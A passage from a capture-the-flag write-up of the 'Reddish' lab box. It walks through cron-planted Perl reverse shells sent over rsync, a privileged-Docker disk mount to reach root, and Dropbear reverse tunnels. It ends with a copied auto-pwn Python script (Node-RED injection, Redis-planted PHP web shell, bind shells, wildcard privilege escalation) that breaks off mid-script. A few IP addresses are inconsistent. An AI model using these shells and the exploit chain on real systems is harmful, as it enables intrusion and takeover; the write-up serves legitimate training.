The backup script not only provides a path to root on www, but it also tells me about another host, backup. If I ping -c 1 backup, I’ll see it resolves to 127.20.0.2. I’ll upload nmap to www and see what’s open:

``` bash
# ./nmap -p- --min-rate 5000 172.20.0.3

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-07-25 12:36 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000034s latency).
Not shown: 65534 closed ports
PORT    STATE SERVICE
873/tcp open  rsync
MAC Address: 02:42:AC:14:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 22.23 seconds
```

open on 873, rsync, which is how www was connecting to it.

I’ll update my diagram:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb55.jpg)

#### rsync access

rsync gives me full read and write access to backup. I can read the file system:

``` bash
# rsync rsync://backup:873/src
drwxr-xr-x          4,096 2018/07/15 17:42:39 .
-rwxr-xr-x              0 2018/05/04 21:01:30 .dockerenv
-rwxr-xr-x            100 2018/05/04 19:55:07 docker-entrypoint.sh
drwxr-xr-x          4,096 2018/07/15 17:42:41 backup
drwxr-xr-x          4,096 2018/07/15 17:42:39 bin
drwxr-xr-x          4,096 2018/07/15 17:42:38 boot
drwxr-xr-x          4,096 2018/07/15 17:42:39 data
drwxr-xr-x          3,720 2020/07/25 14:50:42 dev
drwxr-xr-x          4,096 2018/07/15 17:42:39 etc
drwxr-xr-x          4,096 2018/07/15 17:42:38 home
drwxr-xr-x          4,096 2018/07/15 17:42:39 lib
drwxr-xr-x          4,096 2018/07/15 17:42:38 lib64
drwxr-xr-x          4,096 2018/07/15 17:42:38 media
drwxr-xr-x          4,096 2018/07/15 17:42:38 mnt
drwxr-xr-x          4,096 2018/07/15 17:42:38 opt
dr-xr-xr-x              0 2020/07/25 14:50:42 proc
drwxr-xr-x          4,096 2020/07/25 20:16:01 rdb
drwx------          4,096 2018/07/15 17:42:38 root
drwxr-xr-x          4,096 2020/07/25 14:50:43 run
drwxr-xr-x          4,096 2018/07/15 17:42:38 sbin
drwxr-xr-x          4,096 2018/07/15 17:42:38 srv
dr-xr-xr-x              0 2020/07/25 14:50:42 sys
drwxrwxrwt          4,096 2020/07/25 21:18:01 tmp
drwxr-xr-x          4,096 2018/07/15 17:42:39 usr
drwxr-xr-x          4,096 2018/07/15 17:42:39 var
```

I can write to the file system:

``` bash
# rsync rsync://backup:873/src/tmp/
drwxrwxrwt          4,096 2018/07/26 21:27:16 .
# rsync luci rsync://backup:873/src/tmp/
# rsync rsync://backup:873/src/tmp/
drwxrwxrwt          4,096 2018/07/26 21:27:34 .
-rw-r--r--              0 2018/07/26 21:27:34 luci
```

#### Shell via Cron

I’ll use the read / write access to verify that cron is enabled, and then write one to get shell.
There’s already a cron named clean in the folder, which is a good sign that cron is enabled:

``` bash
# rsync rsync://backup:873/src/etc/cron.d/
drwxr-xr-x          4,096 2018/07/25 21:41:13 .
-rw-r--r--            102 2015/06/11 10:23:47 .placeholder
-rw-r--r--             29 2018/05/04 20:57:55 clean
```

I’ll write a cron file. First, a shell script that calls back to www on port 9010:

``` bash
# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjIwLjAuMiI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > shell.sh
# cat shell.sh
perl -e 'use Socket;$i="172.20.0.2";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# rsync -a shell.sh rsync://backup:873/src/tmp/
# rsync rsync://backup:873/src/tmp/
drwxrwxrwt          4,096 2020/07/25 21:33:31 .
-rw-r--r--              0 2020/07/25 21:24:23 luci
-rw-r--r--            220 2020/07/25 21:33:08 shell.sh
```

Now write the cron:

``` bash
# echo '* * * * * root sh /tmp/shell.sh' > shell
# rsync -a shell rsync://backup:873/src/etc/cron.d/
```

Rather than tunnel everything thing back to kali, I’ll just use socat to listen on www in this case. That gets me a callback as root on backup:

``` bash
# /socat TCP-LISTEN:9010 STDOUT
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# hostname
backup
```

#### reddish Host
#### File System Access

backup is rather bare, other than the information I already had. However, one of the mis-configurations that can come with docker is running with --privileged. There’s some detail on slide 20 [here](https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way). That flag provides access to the raw devices in /dev on the host.

on backup, I see a lot more, including the disks:

``` bash
# ls /dev
...
psaux
ptmx
pts
random
rfkill
rtc0
sda
sda1
sda2
sda3
sda4
sda5
sg0
sg1
shm
snapshot
snd
sr0
stderr
stdin
stdout
...
```

This raw device access is enough to provide file system access:

``` bash
# mount /dev/sda1 /mnt
# ls /mnt/root
root.txt
```

grab the flag:

``` bash
# cat /mnt/root/root.txt
50d0db644c8d5ff5312ef3d17c2ed205
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb56.jpg)

#### root Shell

With write access to /etc/cron.d, I can get a root shell easily. And, reddish can talk directly home, so I don’t have to make tunnels, which is nice. Write a shell script:

``` bash
# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuOSI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > shell.sh
# cat /mnt/opt/shell.sh
perl -e 'use Socket;$i="10.10.14.9";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Now write the cron:

``` bash
# cd /mnt/etc/cron.d/
# echo '* * * * * root sh /opt/shell.sh' > shell
# ls
mdadm
popularity-contest
shell
```

Catch the callback:

``` bash
root@kali:~# nc -lvp 9010
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9010
Ncat: Listening on 0.0.0.0:9010
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:35526.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ls
root.txt
# ifconfig
/bin/sh: 4: ifconfig: not found
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:ef:a7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.94/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
3: br-81dc9e600be9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:fe:5f:02:1f brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-81dc9e600be9
       valid_lft forever preferred_lft forever
4: br-91c5803ee070: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:7e:9a:4c:f3 brd ff:ff:ff:ff:ff:ff
    inet 172.20.0.1/16 brd 172.20.255.255 scope global br-91c5803ee070
       valid_lft forever preferred_lft forever
5: br-d4a52cd704d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:71:03:1d:13 brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.1/16 brd 172.19.255.255 scope global br-d4a52cd704d0
       valid_lft forever preferred_lft forever
6: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:47:f2:fd:fd brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
8: vethff25d9b@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default 
    link/ether 5e:d0:0b:6f:0d:6f brd ff:ff:ff:ff:ff:ff link-netnsid 3
10: veth2f1092e@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-81dc9e600be9 state UP group default 
    link/ether 6a:7e:bc:f7:0d:2e brd ff:ff:ff:ff:ff:ff link-netnsid 3
12: veth4ff04ec@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default 
    link/ether 32:d6:19:ae:75:e5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
14: veth2349c18@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default 
    link/ether 06:9f:60:e4:c1:cd brd ff:ff:ff:ff:ff:ff link-netnsid 0
16: veth3bff539@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default 
    link/ether 9a:c4:04:69:cd:5a brd ff:ff:ff:ff:ff:ff link-netnsid 2
18: veth01eea77@if17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default 
    link/ether d2:d8:e2:80:45:09 brd ff:ff:ff:ff:ff:ff link-netnsid 1
19: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
    link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff
    inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
       valid_lft forever preferred_lft forever
20: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000
    link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff
```

what a great and complicated box!

#### Beyond Root
#### Docker Configuration

Once I have root, I like to go back and look at how things were configured. In this case, the docker configuration is interesting.

The docker configuration files are stored in /opt/reddish_composition/:

``` bash
# cd /opt/reddish_composition/
# ls
apache
docker-compose.yml
multi-nodered
redis
rsync
www
```

docker-compose.yml shows how the machines are run, including the shared volume between redis and www, how the networks are laid out, and that backup is running in privileged mode (<-- comments added by me):

``` bash
# cat docker-compose.yml
version: '3'
services:
  nodered:
    build: ./multi-nodered
    hostname: nodered
    ports:
     - "1880:1880"
    networks:
      - default
      - internal-network
    restart: always
  redis:
    build: ./redis
    hostname: redis
    volumes:
     - ./www:/var/www/html
    networks:
     - internal-network
    restart: always
  www:
    build: ./apache
    hostname: www
    volumes:
     - ./www:/var/www/html
     - /home:/home
    networks:
     - internal-network
     - internal-network-2
    restart: always
  backup:
    build: ./rsync
    hostname: backup
    volumes:
     - ./rsync/www:/backup
    networks:
     - internal-network-2
    restart: always
    privileged: true
networks:
  internal-network:
   internal: true
  internal-network-2:
   internal: true
```

update picture of the docker network one last time:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb57.jpg)

#### Node-Red Collisions

When I first visit the node red site, what’s to keep me from running into other people and their flows? And, what was with the need to issue a POST request to get the url to the site? Turns out, those are related.

The code that’s running the NodeRed instance is in /node-red/multinodered.js:

``` bash
# cat /opt/reddish_composition/multi-nodered/nodered/multinodered.js
var http = require('http');
var express = require("express");
var crypto = require("crypto");

var id_list = [];

function createNodeREDInstance(server, app, ip) {

    var id = crypto.createHash('md5').update(ip).digest("hex");

    if (id_list.indexOf(id) > -1) {
        console.log("Instance already running:", id);
        return id;
    }
    
    var RED = require("./red/red.js")();
    //var id = crypto.randomBytes(16).toString('hex');


    console.log("Creating new instance:", id);

    // Create the settings object - see default settings.js file for other options
    var settings = {
        httpAdminRoot:"/red/"+id,
        httpNodeRoot: "/api/"+id,
        userDir:"./home/"+id,
        functionGlobalContext: { }    // enables global context
    };

    RED.init(server, settings);

    // Serve the editor UI from /red
    app.use(settings.httpAdminRoot, RED.httpAdmin);

    // Serve the http nodes UI from /api
    app.use(settings.httpNodeRoot, RED.httpNode);

    RED.start();

    id_list.push(id);

    return id;
}

// Create an Express app
var app = express();

// Add a simple route for static content served from 'public'
app.use("/",express.static("public"));

app.post('/', function(req,res) {
    var ip = (req.headers['x-forwarded-for'] ||
     req.connection.remoteAddress ||
     req.socket.remoteAddress ||
     req.connection.socket.remoteAddress).split(",")[0];

    var id = createNodeREDInstance(server, app, ip);
    res.status(200).send({"id": id, "ip": ip, 'path': "/red/{id}"});
});

// Create a server
var server = http.createServer(app);

server.listen(1880);
```

There’s no GET for this app, which explains the error. A POST will create a new NodeRed instance and return the id, and the id is what’s sent back to us.

Inside the createNodeREDInstance() function I see the id is just a hash of our ip (which works out really nice when multiple HTB players are trying to use this at the same time):

``` bash
var id = crypto.createHash('md5').update(ip).digest("hex");
```

#### Creating Port Forwards with Dropbear
#### Setup

a dummy account on my kali box (named dummy). In /etc/passwd, the shell is set to /bin/false:

``` bash
dummy:x:1001:1001::/home/dummy:/bin/false
```

That makes it much harder for someone who gets ahold of the key I’m about to create to do anything useful hacking into my host. If you try to ssh into box as dummy, it just closes:

``` bash
root@kali# ssh dummy@localhost
dummy@localhost's password: 
Linux kali 4.18.0-kali3-amd64 #1 SMP Debian 4.18.20-2kali2 (2018-11-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 17 06:28:18 2019 from 127.0.0.1
Connection to localhost closed.
```

use the -N flag to connect without a shell, and the -L, -R, -D flags to forward ports (check out [Intro to SSH Tunneling](https://0xdf.gitlab.io/2018/06/10/intro-to-ssh-tunneling.html) for more details).


#### Build Dropbear

[Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) is a statically compiled, relatively small ssh client that I will use to connect back to my kali box from nodered. I’ll grab the source from the website. I’ll copy the file to nodered using the file upload flow or the perl command to get a file over http:

``` bash
# perl -e 'use File::Fetch; my $url = "http://10.10.14.9/dropbear-2018.76.tar.bz2"; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'

# pwd
/tmp

# ls
dropbear-2018.76.tar.bz2
```

Open the archive with tar:

``` bash
# tar xjvf dropbear-2018.76.tar.bz2                                                      
dropbear-2018.76/                                                                        
dropbear-2018.76/termcodes.h                                                  
dropbear-2018.76/dbmulti.c                                                                
dropbear-2018.76/cli-runopts.c  
...[snip]...
```

Now compile the software (the container has gcc and the minimum libraries to build this):

``` bash
# cd dropbear-2018.76/                     
# ./configure && make                  
checking for gcc... gcc                      
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...    
checking whether we are cross compiling... no
...[snip]...
```

#### Generate Key Pair

Next generate a key pair to use with dropbearkey. It’s a simple program with [only a few options](https://linux.die.net/man/8/dropbearkey). use -t rsa to make an RSA keypair, and -f .k to name the key file .k:

``` bash
# ./dropbearkey -t rsa -f .k
Generating 2048 bit rsa key, this may take a while...
Public key portion is:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCFI9K2O4PVLSLLIJw2ExqYHtPUQTrcn+GKR3BRaD8Th+5CYIPMRQF8MK29tlgjdZh5MSf5RB4tsm523hMp6879tvi0Bzc0afZ8FKfaVjTwWsG/cbNFZzi4W5PpwsLkh9vbBgXhbPfdmMdz2uLZrsmPKVKXXkg/URz9vhiQelJAL0PcysIBh3c9CkJfNzzNJ2DHxY/OugnhQlObmLfOzkucP2DtTAZjYYCpc8cByzKS7vgo8rZLscf7QrN3LLKr8SFmjSnEcqxvIC1cVOpRju3kmfJxNY4ebcod1DaQtRYXC+K2byNwf5y3z3ahhW8dWJVLEcPH0bueuRVnYk3wfrjx root@nodered
Fingerprint: sha1!! 78:53:6e:77:d8:da:ef:43:a7:c8:97:de:3c:a0:c4:d4:80:7d:f3:ab
```

Now put this public key into the authorized key file for dummy on my kali box. While this key is in that file, anyone who has the private key (.k) can ssh into my box, so I’ll want to leave this in place only long enough to get the tunnels set up.

#### Create Tunnel

Now use DropBear’s dbclient to ssh back, creating a tunnel to access the web page on www:

``` bash
# ./dbclient -i .k -f -N -R 8888:172.19.0.4:80 dummy@10.10.14.9
```

The options used are:

 - -i .k - Use the keyfile I generated earlier
 - -f - run ssh in the background
 - -N - Done request a shell or run and commands
 - -R 8888:172.19.0.4:80 - listen on port 8888 on my kali host, and forward and traffic to 172.19.0.4 port 80. It’s important to note that my dummy user doesn’t have the privilege necessary to listen on a low port, like 80.

Now can access the website on www:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb58.jpg)

#### python auto-pwn script

reference to [this writeup link](https://alamot.github.io/reddish_writeup/)

awesome write up and python script, i Worship the author...

[script in his github](https://github.com/Alamot/code-snippets/blob/master/hacking/HTB/Reddish/autopwn_reddish.py)

autopwnreddish.py

``` bash
#!/usr/bin/env python2
# Author: Alamot
import json
import time
import uuid
import fcntl
import base64
import urllib
import random
import requests
from pwn import *


def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(
        s.fileno(),
        0x8915,  # SIOCGIFADDR
        struct.pack('256s', ifname[:15].encode())
    )[20:24])


# context.log_level = 'debug'
LHOST = get_ip_address('tun0')
LPORT1 = "60000"
LPORT2 = str(random.randint(60003, 62535))
LPORT3 = str(random.randint(62535, 65535))
LPORT4 = "60001"
UUIDNAME = str(uuid.uuid4())[:8]
SOCAT_SRCPATH = "socat"
SOCAT_DSTPATH = "/var/tmp/socat" + UUIDNAME
SUBASH_PATH = "/var/tmp/" + UUIDNAME
CRONPL_PATH = "/tmp/" + UUIDNAME


def send_payloads():
    session = requests.Session()
    
    # Get id
    p1 = log.progress("Getting our id")
    headers = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Connection":"close","Accept-Language":"en","Accept":"*/*"}
    try:
        response = session.post("http://10.10.10.94:1880/", headers=headers)
        if response.status_code != 200:
            p1.failure("Status "+str(response.status_code))
            sys.exit()
        else:
            uid = json_data = json.loads(response.text)["id"].strip()
            p1.success("OK (id = " + uid + ")")
    except requests.exceptions.RequestException as e:
        p1.failure(str(e))
        sys.exit()
        
    # Load flows
    p2 = log.progress("Loading node-red flows")
    with open(SOCAT_SRCPATH, 'r') as f:
        b64upload = base64.b64encode(f.read())
    rawBody = "{\"flows\":[{\"id\":\"e97f052f.2f3d48\",\"type\":\"tab\",\"label\":\"Flow 1\"},{\"id\":\"6c08c84b.d9c578\",\"type\":\"inject\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"topic\":\"\",\"payload\":\"node -e '(function(){ var  cp = require(\\\"child_process\\\"), sh = cp.spawn(\\\"/bin/sh\\\", [\\\"-c\\\", \\\"cat " + SOCAT_DSTPATH + ".b64 | base64 -d > " +SOCAT_DSTPATH + " && chmod +x " + SOCAT_DSTPATH + " && " + SOCAT_DSTPATH + " exec:/bin/bash,pty,rawer,echo=0,stderr,setsid,sigint tcp:" + LHOST + ":" + LPORT1 + "\\\"]); return /a/; })();'\",\"payloadType\":\"str\",\"repeat\":\"\",\"crontab\":\"\",\"once\":false,\"onceDelay\":0.1,\"x\":151,\"y\":88,\"wires\":[[\"d27da06a.44a1a\"]]},{\"id\":\"d27da06a.44a1a\",\"type\":\"exec\",\"z\":\"e97f052f.2f3d48\",\"command\":\"\",\"addpay\":true,\"append\":\"\",\"useSpawn\":\"false\",\"timer\":\"\",\"oldrc\":false,\"name\":\"\",\"x\":310,\"y\":80,\"wires\":[[],[],[]]},{\"id\":\"fae51292.d8e68\",\"type\":\"inject\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"topic\":\"\",\"payload\":\"" + b64upload +"\",\"payloadType\":\"str\",\"repeat\":\"\",\"crontab\":\"\",\"once\":false,\"onceDelay\":0.1,\"x\":113,\"y\":260,\"wires\":[[\"7e1e7cb5.664234\"]]},{\"id\":\"7e1e7cb5.664234\",\"type\":\"file\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"filename\":\"" + SOCAT_DSTPATH +".b64\",\"appendNewline\":false,\"createDir\":false,\"overwriteFile\":\"true\",\"x\":320,\"y\":260,\"wires\":[]}]}"
    headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/"+uid+"/flows","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1","Content-Type":"application/json; charset=utf-8","Node-RED-Deployment-Type":"full"}
    try:
        response = session.post("http://10.10.10.94:1880/red/"+uid+"/flows", data=rawBody, headers=headers)
        if response.status_code != 200:
            p2.failure("Status "+str(response.status_code))
            sys.exit()
        else:
            p2.success("OK")
    except requests.exceptions.RequestException as e:
        p2.failure(str(e))
        sys.exit()

    # Inject base64-encoded socat
    p3 = log.progress("Injecting base64-encoded socat")
    headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/"+uid+"/inject/fae51292.d8e68","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1"}
    try:
        response = session.post("http://10.10.10.94:1880/red/"+uid+"/inject/fae51292.d8e68", headers=headers)
        if response.status_code != 200:
            p3.failure("Status "+str(response.status_code))
            sys.exit()
        else:
            p3.success("OK")
    except requests.exceptions.RequestException as e:
        p3.failure(str(e))
        sys.exit()

    # Inject nodejs reverse shell
    p4 = log.progress("Injecting socat reverse shell via nodejs [" + LHOST + ":" + str(LPORT1) + "]")
    headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/" + uid + "/inject/6c08c84b.d9c578","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1"}
    try:
        response = session.post("http://10.10.10.94:1880/red/" + uid + "/inject/6c08c84b.d9c578", headers=headers)
        if response.status_code != 200:
            p4.failure("Status "+str(response.status_code))
            sys.exit()
        else:
            p4.success("OK")
    except requests.exceptions.RequestException as e:
        p4.failure(str(e))
        sys.exit()


print("What shell do you want?")
print("[1] root@nodered")
print("[2] www-data@www")
print("[3] root@www")
print("[4] root@backup")
print("[5] root@reddish")
print("[6] Exit")
response = None
while response not in ["1", "2", "3", "4", "5", "6"]:
    response = raw_input("Please enter a number 1-6: ").strip()
if response == "6":
    sys.exit()

try:
    threading.Thread(target=send_payloads).start()
except Exception as e:
    log.error(str(e))
socat = listen(LPORT1, bindaddr=LHOST, timeout=20).wait_for_connection()

if response == "1":
    socat.interactive()
    sys.exit()

with log.progress("Uploading " + UUIDNAME + ".php on the www container via redis") as p:
    socat.sendline("/bin/echo -ne '*1\\r\\n$8\\r\\nFLUSHALL\\r\\n*3\\r\\n$3\\r\\nSET\\r\\n$1\\r\\n1\\r\\n$45\\r\\n<?php echo shell_exec($_GET[\"e\"].\" 2>&1\"); ?>\\r\\n*4\\r\\n$6\\r\\nCONFIG\\r\\n$3\\r\\nSET\\r\\n$10\\r\\ndbfilename\\r\\n$12\\r\\n" + UUIDNAME +  ".php\\r\\n*4\\r\\n$6\\r\\nCONFIG\\r\\n$3\\r\\nSET\\r\\n$3\\r\\ndir\\r\\n$46\\r\\n/var/www/html/8924d0549008565c554f8128cd11fda4\\r\\n*1\\r\\n$4\\r\\nSAVE\\r\\n' | " + SOCAT_DSTPATH + " - TCP:redis:6379")
    socat.sendline("/bin/echo -ne 'GET /8924d0549008565c554f8128cd11fda4/" + UUIDNAME+ ".php?e=$(whoami)@$(hostname)END HTTP/1.1\\r\\nHost: nodered\\r\\nUser-agent: curl\\r\\n\\r\\n' | " + SOCAT_DSTPATH + " - TCP:www:80")
    output = socat.recvuntil("www-data@www")
    if "www-data@www" in output:
        p.success("OK (user = www-data@www)")
    else:
        p.failure("FAIL")
        sys.exit()

with log.progress("Sending perl bind shell [www-data@www:" + str(LPORT2) + "] via " + UUIDNAME + ".php & trying to connect") as p:
    perl_payload = "perl -e 'use Socket;$p=" + str(LPORT2) +";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/bash -i\");};'"
    urled_perl_payload = urllib.quote_plus(perl_payload)
    socat.sendline("/bin/echo -ne 'GET /8924d0549008565c554f8128cd11fda4/" + UUIDNAME + ".php?e=" + urled_perl_payload + " HTTP/1.1\\r\\nHost: nodered\\r\\nUser-Agent: curl\\r\\n\\r\\n' | " + SOCAT_DSTPATH + " - TCP:www:80")
    socat.sendline(SOCAT_DSTPATH + " file:`tty`,echo=0,rawer TCP:www:" + str(LPORT2))
    output = socat.recvuntil("shell", timeout=20)
    if "shell" in output:
        p.success("OK")
    else:
        p.failure("FAIL")
        sys.exit()
    socat.sendline("script --return -c '/bin/bash -i' /dev/null")
    socat.clean(1)
    socat.sendline("stty raw -echo")
    
if response == "2":
    socat.interactive()
    sys.exit()

with log.progress("Exploiting wildcards for privesc. Wait at most 180 secs for rsync backup job to run") as p:
    socat.sendline('echo "/bin/cp /bin/bash ' + SUBASH_PATH + ';/bin/chmod 4755 ' + SUBASH_PATH + '" > "/var/www/html/f187a0ec71ce99642e4f0afbd441a68b/' + UUIDNAME + '.rdb"')
    socat.sendline('touch "/var/www/html/f187a0ec71ce99642e4f0afbd441a68b/-e sh ' + UUIDNAME + '.rdb"')
    count = 0
    while True:
        p.status(str(count))
        sleep(1)
        socat.sendline("[ -f " + SUBASH_PATH + " ] && echo 'OK' || echo 'NO'")
        socat.recvuntil('$ ')
        output = socat.recv(3).strip()
        if "OK" in output:
            p.success("OK")
            break
        count += 1
        if count > 180:
            p.failure("FAIL")
            sys.exit()
    socat.sendline(SUBASH_PATH + ' -i -p')
    socat.sendline("cd /root")
    socat.clean(1)

if response == "3":
    socat.interactive()
    sys.exit()

with log.progress("Sending a cronjob for bind shell [root@backup:" +str(LPORT3)+ "]. Please wait") as p:
    socat.sendline("echo 'use Socket;$p=" + str(LPORT3) + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/bash -i\");};' > " + CRONPL_PATH + ".pl")
    socat.sendline("echo '* * * * * root /usr/bin/perl " + CRONPL_PATH +  ".pl' > " + CRONPL_PATH + "cronjob")
    socat.sendline("rsync -a " + CRONPL_PATH + ".pl backup::src" + CRONPL_PATH + ".pl")
    socat.sendline("rsync -a " + CRONPL_PATH + "cronjob backup::src/etc/cron.d/")
    for i in range(62):
        p.status(str(61 - i))
        time.sleep(1)
    socat.sendline("perl -MFcntl=F_SETFL,F_GETFL,O_NONBLOCK -MSocket '-e$0=perl;socket($c,AF_INET,SOCK_STREAM,0)&&connect($c,pack_sockaddr_in("+ str(LPORT3) + ",inet_aton(\"backup\")))||die$!;fcntl$_,F_SETFL,O_NONBLOCK|fcntl$_,F_GETFL,0 for@d=(*STDIN,$c),@e=($c,*STDOUT);L:for(0,1){sysread($d[$_],$f,8**5)||exit and$f[$_].=$f if vec$g,$_*($h=fileno$c),1;substr$f[$_],0,syswrite($e[$_],$f[$_],8**5),\"\";vec($g,$_*$h,1)=($i=length$f[$_]<8**5);vec($j,$_||$h,1)=!!$i}select$g,$j,$k,5;goto L'")
    output = socat.recvuntil("shell", timeout=20)
    if "shell" in output:
        p.success("OK")
    else:
        p.failure("FAIL")
        sys.exit()
    socat.sendline("script --return -c '/bin/bash -i' /dev/null")
    socat.clean(1)
    socat.sendline("stty raw -echo")
    
if response == "4":
    socat.interactive()
    sys.exit()

with log.progress("Sending reverse shell cronjob [" + LHOST + ":" +str(LPORT4)+ "] for root@host. Please wait") as p:
    socat.sendline("mkdir /mnt/sda1")
    socat.sendline("mount /dev/sda1 /mnt/sda1")
    socat.sendline("cat /mnt/sda1/root/root.txt")
